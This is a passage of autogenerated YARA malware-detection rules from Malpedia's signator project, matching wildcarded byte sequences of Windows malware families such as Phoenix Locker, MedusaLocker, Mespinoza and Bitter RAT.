		$sequence_1 = { 8d85f0fcffff 53 50 ffd6 8d85f0fcffff }
		$sequence_2 = { 68???????? e8???????? 83c424 8b3d???????? 56 }
		$sequence_3 = { 6a01 ff15???????? 6a01 68???????? e8???????? 6a01 }
		$sequence_4 = { e8???????? 83c424 8b3d???????? 56 33f6 }
		$sequence_5 = { 83c410 8d85f0fdffff 53 50 ffd6 8b3d???????? 8d85f0fdffff }
		$sequence_6 = { 57 53 6801001f00 ff15???????? 3bc3 be???????? }
		$sequence_7 = { 56 ff15???????? 8bf8 8d8500fcffff }
		$sequence_8 = { fec8 8886a0314000 8a843579ffffff 46 ebea 395d08 }
		$sequence_9 = { 6a00 6801001f00 ff15???????? 85c0 7517 68e8030000 ff15???????? }
	condition:
		7 of them and filesize < 40960
}

rule MALPEDIA_Win_Phoenix_Locker_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "32012f66-221c-5fa5-9d14-f943abc9c522"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phoenix_locker"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.phoenix_locker_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "c929252a8fed8f1bda435d368708b210ebe5b5f043e324b3e033e447747795e0"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ffc3 4d0fbfd0 66450fbed2 450fbfd5 4c63d3 e9???????? e9???????? }
		$sequence_1 = { 0f8774000000 0f8530000000 488b542428 480fb7cd 488d4b14 e9???????? ff15???????? }
		$sequence_2 = { 41b07c 6644896c2420 480fabc8 48ffc8 4180d05d 488d542420 }
		$sequence_3 = { 4586c0 4c8bc2 f7d2 488bd1 488d0de21fe5ff e8???????? 488d0dd61fe5ff }
		$sequence_4 = { 4184eb f9 4c03d1 4d8d1c0b f8 41f6c484 4585c9 }
		$sequence_5 = { 688c4bd073 0f82f8aefeff 48818424100000006c322f5a 5e 5e 5e }
		$sequence_6 = { 418b0c84 98 23cd 660fb6c6 4433c1 98 4633048b }
		$sequence_7 = { e9???????? 0f84c0000000 418d5424ff 6641f7c2266e 4c0fa4cfaa 4c8bed }
		$sequence_8 = { 55 d9b726ae0b68 a947d046d6 5b 21bd5e13d92f 5a 81e516495a66 }
		$sequence_9 = { f5 f69c2418000000 5f 415e 415e 415e 5f }
	condition:
		7 of them and filesize < 3702784
}

rule MALPEDIA_Win_Mm_Core_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "43e09f87-25f0-5aa1-a65d-f3cf8216d568"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mm_core"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mm_core_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "6a74d0b4f0725617f5a9081525f73e5b30645b5ad4c0ae527057295ae3a12104"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33ff 8db7e8ba0010 ff36 e8???????? 83c704 }
		$sequence_1 = { ff15???????? 85c0 0f8482000000 8b442410 3bc7 747a 40 }
		$sequence_2 = { 6800000008 51 51 51 66894c2464 8bcb }
		$sequence_3 = { 8bf0 8975d4 85f6 0f8485000000 c745fc00000000 8a0e }
		$sequence_4 = { 8b84246c080000 56 57 33ff 6a3c 8bf2 }
		$sequence_5 = { 6a00 50 e8???????? 83c40c 33c0 33c9 8d542408 }
		$sequence_6 = { 3bc1 0f87f5090000 ff248516540010 33c0 }
		$sequence_7 = { 33c0 eb1a 8bc8 83e01f c1f905 8b0c8d40400110 c1e006 }
		$sequence_8 = { 83e71f c1e706 8b048540400110 8d44380c }
		$sequence_9 = { c744240c01010000 ff15???????? 8d4c2418 51 8d54240c }
	condition:
		7 of them and filesize < 319488
}

rule MALPEDIA_Win_Dropshot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "346ce58d-bd06-5f2e-8d2b-941cfe3b7a37"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dropshot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dropshot_auto.yar#L1-L100"
		license_url = "N/A"
		logic_hash = "e0a96c7028a31f8096e80273f88669f127d961f8172465734bc77ab98df7c7f9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a05 ff15???????? ff15???????? 6a00 6a00 6a00 }
		$sequence_1 = { ff15???????? 5d c3 3b0d???????? f27502 }
		$sequence_2 = { 6a64 ff15???????? 6800800000 6a00 }
		$sequence_3 = { e8???????? eb05 e8???????? 68e8030000 ff15???????? }
		$sequence_4 = { 6a00 6a00 ff15???????? 6a00 6a00 68???????? }
		$sequence_5 = { ff15???????? 6a04 6800100000 6808020000 }
		$sequence_6 = { e8???????? 83c40c 6a04 6800100000 6804010000 6a00 }
		$sequence_7 = { ff15???????? 6a00 ff15???????? 6a05 ff15???????? ff15???????? }
	condition:
		7 of them and filesize < 483328
}

rule MALPEDIA_Win_Vohuk_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "fa7917d0-5d38-5842-a477-3065670570e2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vohuk"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vohuk_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "1c7046d07a287745fd2dd564d0be780eb277cd73b0fb9a0541750f2b4df4fc07"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c745a441003500 b81f6b193a 8bce f7ee c1fa05 8bc2 c1e81f }
		$sequence_1 = { c7403c9e008200 c7404083008300 c74044ce00c200 c74048ce00d100 c7404cbb00b700 c74050ce00d500 }
		$sequence_2 = { e8???????? ff75ac 6a00 56 ffd0 8b7da0 e9???????? }
		$sequence_3 = { c745ec00000000 50 ffd7 85c0 7474 8b0d???????? ba43c7bfd0 }
		$sequence_4 = { 83f804 7646 6a14 81ff00010000 0f8618010000 51 }
		$sequence_5 = { 7586 c745fc2f000000 8d9dd8feffff 8b5334 8d4004 8b33 8d5b04 }
		$sequence_6 = { c645ff00 8b0d???????? ba05bc94bf 8b35???????? 6a15 e8???????? }
		$sequence_7 = { 7307 bee8030000 eb0d 81fe10270000 7605 be10270000 8b0d???????? }
		$sequence_8 = { ffd0 8bd8 bf41000000 b81a000000 8945fc f6c301 0f858a000000 }
		$sequence_9 = { 51 6a38 8d8d60ffffff 51 6a0a 56 ffd0 }
	condition:
		7 of them and filesize < 260096
}

rule MALPEDIA_Win_Zedhou_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "671058cb-44d0-5a2d-a903-c2aaa9e6edab"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zedhou"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zedhou_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "e746dfbb5d54339f68149693ef0514b3aa092790791cb02e6ab7c27b77b04068"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 03c8 8d954cfdffff 51 8d8550fcffff 52 50 68???????? }
		$sequence_1 = { 50 0f80d8000000 51 52 e8???????? ffd7 8b85d4feffff }
		$sequence_2 = { 68???????? ff15???????? 8bd0 8d8d70ffffff ff15???????? 50 8d956cffffff }
		$sequence_3 = { 8b55a0 52 ff15???????? 8bd0 8d4d98 ff15???????? 50 }
		$sequence_4 = { 6a00 51 50 ff35???????? ff15???????? 85c0 0f8c0b1a0000 }
		$sequence_5 = { 8b04c5fc201822 8b7824 8b450c 85ff 0f847c340000 8b08 3b0f }
		$sequence_6 = { ebe5 55 8bec 83ec18 53 56 57 }
		$sequence_7 = { 8bcf e8???????? 8bf0 8bcb ff760c ff7608 e8???????? }
		$sequence_8 = { 8d45d4 50 6a02 ff15???????? 83c40c 8d4dc0 51 }
		$sequence_9 = { ffb610060000 81c610060000 8bc8 e8???????? ff36 832700 }
	condition:
		7 of them and filesize < 499712
}

rule MALPEDIA_Win_Bitter_Rat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b191a00c-6fde-5571-a34e-d2213ef4e8fa"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bitter_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bitter_rat_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "a43bde583e40f1f224309d84df87c4be4d19f266b740acdb3a4dfc9719f341d8"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 42 00542f42 00cf 2f }
		$sequence_1 = { 68d4070000 e8???????? 83c414 a1???????? }
		$sequence_2 = { 6a02 6a04 8d85d4fdffff 50 ff15???????? }
		$sequence_3 = { 83e11f c1e106 8b048500124700 c644080401 57 }
		$sequence_4 = { 51 8b954cd9ffff 8d84157cdcffff 50 e8???????? 83c40c 8b854cd9ffff }
		$sequence_5 = { f3ab c745f8???????? b80a000000 668945ec b802000000 668945e0 0fbf45ec }
		$sequence_6 = { 03048d00124700 eb02 8bc2 f6402480 0f8567ffffff 33c0 }
		$sequence_7 = { 03c7 03cf 83ff1f 0f87da030000 ff24bda8864200 8bc6 e9???????? }
		$sequence_8 = { 8bf4 8d8568feffff 50 6a02 ff15???????? 3bf4 }
		$sequence_9 = { 8d8d68faffff 51 e8???????? 83c408 8bf4 8d85acfeffff }
	condition:
		7 of them and filesize < 1130496
}

rule MALPEDIA_Win_Medusalocker_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9e990ab4-0b70-5ed2-9c4d-a3d81f9ab05c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.medusalocker"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.medusalocker_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "1656532605d9f1886fe3ced1ab1c80cac05eec34432a579d536b1abe4c8a22b3"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83c408 8b5004 52 8b00 50 8d4dd8 e8???????? }
		$sequence_1 = { e8???????? c745fcffffffff 8d4d08 e8???????? 8a45eb }
		$sequence_2 = { eb24 33c9 894ddc 8d4ddc e8???????? 8945e0 }
		$sequence_3 = { 05c8000000 8bc8 e8???????? 6a10 e8???????? 83c404 8945ec }
		$sequence_4 = { 8d45ec 50 8b4d08 e8???????? 8b4de8 }
		$sequence_5 = { ff15???????? 85c0 7575 8b45c0 }
		$sequence_6 = { 8b4dfc 8b11 8b4dfc 8b4210 ffd0 8be5 5d }
		$sequence_7 = { 83ec0c 894dfc 8b45fc 50 8b4d08 51 e8???????? }
		$sequence_8 = { e8???????? 50 8b4dd0 e8???????? 50 }
		$sequence_9 = { e8???????? 8b4df0 e8???????? c745fcffffffff 8d4d08 e8???????? }
	condition:
		7 of them and filesize < 1433600
}

rule MALPEDIA_Win_Mespinoza_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "64606785-caad-5456-be9c-a6b69cbeed8d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mespinoza"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mespinoza_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "8fedbfda9801fec8b36b08d0047fda05662354c890294b93f8c3d358064016b8"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a02 6a00 68???????? 6802000080 ff15???????? 8b15???????? }
		$sequence_1 = { 894de4 399860554700 0f84ea000000 41 83c030 894de4 3df0000000 }
		$sequence_2 = { 6a00 ff5014 c20800 55 8bec 83c1f8 }
		$sequence_3 = { 40 8945d4 8bd8 0f1f00 ff75e0 8b17 }
		$sequence_4 = { e8???????? 8d8d98efffff e8???????? 8b4df4 }
		$sequence_5 = { 897de4 33db 895dfc 895dd4 81fb80000000 7d4d 8b049d00b04700 }
		$sequence_6 = { 3347fc 0be8 83ea01 75f0 8b5c2420 896c2410 eb08 }
		$sequence_7 = { c6430900 83630c00 c703???????? 8a00 884310 eb02 33db }
		$sequence_8 = { 0f57c0 c745fc00000000 660fd64604 6aff 8d4e10 c706???????? c7460c04000000 }
		$sequence_9 = { e8???????? 8bd8 33c9 8bc6 895dc8 f7e7 }
	condition:
		7 of them and filesize < 1091584
}

rule MALPEDIA_Win_Spedear_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1d005a15-ef8d-569f-a767-c6e1e72829d4"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spedear"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.spedear_auto.yar#L1-L271"
		license_url = "N/A"
		logic_hash = "fdde63af58dfc9054af7189054546d8fc5a45deaed146cfe4323b2ae3cb67aa8"
		score = 75
		quality = 71
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83e207 03c2 c1f803 83c40c 85c0 }
		$sequence_1 = { 53 50 e8???????? 8b7e0c 895e10 }
		$sequence_2 = { 8b4718 8a5f06 50 894608 e8???????? }
		$sequence_3 = { 6a00 6a00 57 8bd8 ffd6 6a00 8d442414 }
		$sequence_4 = { 894618 ffd7 89461c 5f }
		$sequence_5 = { e8???????? 83c404 3bc5 740a c700???????? 8bd8 eb02 }
		$sequence_6 = { 8906 8b44241c 5e 33d1 5d }
		$sequence_7 = { 8b4604 8b571c 83c410 83c120 53 e8???????? 3bdd }
		$sequence_8 = { 85c0 7536 85f6 742c 833e00 741e 8b5608 }
		$sequence_9 = { 6a00 68???????? e8???????? 83c40c 68d0070000 }
		$sequence_10 = { 741a 6a00 6a00 ff7608 ff5604 6800800000 6a00 }
		$sequence_11 = { 394878 7456 39487c 7451 }
		$sequence_12 = { 8bc7 5e 5f 5b 5d c3 6a08 }
		$sequence_13 = { 83450c04 33c7 ff4d08 8b7dfc }
		$sequence_14 = { c745fc12000000 33ff 895d08 8b5d0c 0fb61c19 c1e708 }
		$sequence_15 = { 4c8bda 418b10 498d6b44 498bd9 498bf8 }
		$sequence_16 = { 8b4610 3998a0000000 760f 3998a4000000 7607 57 56 }
		$sequence_17 = { 3b0d???????? 7329 4863d1 488d0dd0ab0000 }
		$sequence_18 = { ff15???????? 4c8d5c2440 488d1571020100 492bd3 410fb60b 410fb60413 }
		$sequence_19 = { c744243004010000 e8???????? 488b4c2438 4c8d5c2430 488d842450010000 488d15f0bd0000 4c895c2428 }
		$sequence_20 = { 8d6a12 41be04000000 4d2be3 0f1f00 448bc2 }
		$sequence_21 = { 68???????? 8d45f0 50 c745f0f0d12300 e8???????? }
		$sequence_22 = { 488bcb e8???????? 85ff 7e33 }
		$sequence_23 = { 8b4310 33c9 56 57 394878 }
		$sequence_24 = { 895f10 488b4f18 4885c9 740c e8???????? }
		$sequence_25 = { 3bf2 7cc1 034004 8b4804 }
		$sequence_26 = { 4883c308 483bdf 72ed 48833d????????00 741f 488d0dc6ef0000 e8???????? }
		$sequence_27 = { 85c0 752c ff7508 68???????? }
	condition:
		7 of them and filesize < 188416
}

rule MALPEDIA_Win_Unidentified_099_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6834d9d3-6a75-5c68-b5d3-9237e184ef6d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_099"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_099_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "7fd05f1e717b782bb9ac06a7756c0dc03e1b36f5a16d932168b1c5d5cda9cc3a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 48895c2408 4889742410 57 4883ec20 488d1d7e700100 }
		$sequence_1 = { 498bcd ff15???????? b974000000 e8???????? 4c8bd0 }
		$sequence_2 = { 488d05fb9d0000 49c1e302 4889452f 83e202 8bc2 4903c3 4c8945ef }
		$sequence_3 = { f3aa 488d8520030000 33c9 4533c9 4889442420 4533c0 ff15???????? }
		$sequence_4 = { 4885c0 0f8421040000 4d8bc5 488d1506950100 488d4c2450 }
		$sequence_5 = { 7410 488d0d2cb50100 4883c428 e9???????? e8???????? 85c0 }
		$sequence_6 = { 752c 4985df 7527 488b9540070000 4c8d0502860000 498bcd 44897604 }
		$sequence_7 = { 41b880000000 e8???????? 4533ed 488d8d50040000 33d2 44896c2468 }
		$sequence_8 = { 488d8c2490200000 4533c9 48897c2430 897c2428 ba00000080 c744242003000000 }
		$sequence_9 = { 488d7f01 4883fa2d 7ce7 4c8d8510020000 }
	condition:
		7 of them and filesize < 314368
}

rule MALPEDIA_Win_Tapaoux_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "92f6e706-3399-5d0e-9b67-afc2a01b11c8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tapaoux"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tapaoux_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "d4ad8726a2edee7cde7a56aa56890c668a33f52c080a12cbfff5c16b6a3c4a03"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 57 8d442418 68???????? 50 e8???????? 8b07 }
		$sequence_1 = { 8b4c243e 81e2ffff0000 25ffff0000 52 8b54243e 50 8b442440 }
		$sequence_2 = { ff15???????? 8a842410050000 83c410 33db }
		$sequence_3 = { 5b 81c408040000 c3 8b84241c040000 8b4b04 }
		$sequence_4 = { 83c40c 85c0 56 7d16 }
		$sequence_5 = { 8d442410 50 e8???????? 8b8c2428010000 83c404 }
		$sequence_6 = { 8b44241c 8d542410 52 8d8c24d8060000 50 51 57 }
		$sequence_7 = { 83c410 85c0 7507 b850000000 eb09 50 e8???????? }
		$sequence_8 = { 8be8 0fbe03 50 e8???????? 83c408 3bc5 }
		$sequence_9 = { 84c0 74c5 3bf7 7ccf 5f 5e 5d }
	condition:
		7 of them and filesize < 292864
}

rule MALPEDIA_Win_Veiledsignal_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "71866fc5-9473-559b-a801-c95ebfec50c7"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.veiledsignal"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.veiledsignal_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "71af0216ed8c73a7deae45ea9d8e0b2ebb718fbb1957e80a9a771dea9a9d10a4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c5f92f25???????? 0f82b1000000 48c1e82c c5e9eb15???????? c5f1eb0d???????? 4c8d0d66850000 }
		$sequence_1 = { e9???????? e8???????? e9???????? 488d0514380400 }
		$sequence_2 = { 0fb6552f 4c8d4d2f 4533c0 418d4814 ffd0 }
		$sequence_3 = { 488d0db99a0400 e8???????? 488d0dc59a0400 e8???????? }
		$sequence_4 = { 7ec4 83c8ff eb0b 4803f6 418b84f7a8140100 85c0 }
		$sequence_5 = { e8???????? 4881c458010000 c3 8d8146b8ffff 83f801 }
		$sequence_6 = { e8???????? 488b8890000000 48399938010000 7516 488d05c7390400 4a8b04e8 }
		$sequence_7 = { ff15???????? e9???????? 8b7c2428 488bcb ff15???????? 85ff 0f844bffffff }
		$sequence_8 = { 83f8ff 7425 488d1586b10400 8bc8 e8???????? 85c0 740e }
		$sequence_9 = { 428844f13e 4b8b84e010e70400 42804cf03d04 38558f e9???????? ff15???????? 894597 }
	condition:
		7 of them and filesize < 667648
}

rule MALPEDIA_Win_Powerpool_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d4f7d376-91ac-5fba-b394-2196d4883657"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.powerpool"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.powerpool_auto.yar#L1-L156"
		license_url = "N/A"
		logic_hash = "dfb0ae2ebf3333eb0ea72de9c6611cca01721c6596963f45a9f1a6121b1e8024"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7412 8b04b0 50 e8???????? }
		$sequence_1 = { 7412 837de810 8b45d4 895de4 }
		$sequence_2 = { 895e64 33db 894e68 53 53 56 }
		$sequence_3 = { 7412 8b4904 80e103 80f901 }
		$sequence_4 = { 006711 40 0000 0303 }
		$sequence_5 = { 7412 6a00 e8???????? 84c0 7407 b802000000 5f }
		$sequence_6 = { 7412 83e903 0f8515010000 c745dcfcae4400 }
		$sequence_7 = { 895e64 ff15???????? 8b4c2418 51 }
		$sequence_8 = { 7412 8b45d0 2403 3c01 }
		$sequence_9 = { 895e64 e9???????? 53 57 }
		$sequence_10 = { 8b6c2468 55 6a02 33db 33ff ff15???????? 8bf0 }
		$sequence_11 = { 7443 8b45d4 83ff10 7303 }
		$sequence_12 = { 005311 40 005d11 40 006711 }
		$sequence_13 = { 8965f0 85c9 7504 33ff eb16 }
		$sequence_14 = { 895e64 ff15???????? 8b442414 50 }
		$sequence_15 = { 7412 8b45a4 83c01f 3945b0 }
	condition:
		7 of them and filesize < 819200
}

rule MALPEDIA_Win_Balkan_Door_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "da1553c8-1e46-5d28-bd8e-ffaf0075dca2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.balkan_door"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.balkan_door_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "8fad6b0583675ac5acd98c6d6d2bed42312dfeea01b9aec6dd08e0296e917b26"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 ffd7 50 56 68???????? }
		$sequence_1 = { ffd7 5e 32c0 5f c3 32c0 }
		$sequence_2 = { ffd7 5e 32c0 5f }
		$sequence_3 = { 50 57 6a00 6a16 ffb53cefffff ff15???????? 85c0 }
		$sequence_4 = { 6a26 ffb53cefffff ff15???????? 85c0 750c ff15???????? 8986f8000000 }
		$sequence_5 = { 740b 6a00 6a00 56 ff15???????? 57 8b3d???????? }
		$sequence_6 = { 68c0270900 ffd7 6a00 ff35???????? }
		$sequence_7 = { d1f8 33d2 50 51 8d4dd8 }
		$sequence_8 = { ffd7 85c0 741a 8d85d0fdffff c785d0fdffff2c020000 50 }
		$sequence_9 = { ff15???????? 8bf0 85f6 740b 6a00 6a00 56 }
	condition:
		7 of them and filesize < 352256
}

rule MALPEDIA_Win_Mutabaha_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f534e66a-bdb8-5a1d-bf5c-73ff5eac186f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mutabaha"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mutabaha_auto.yar#L1-L134"
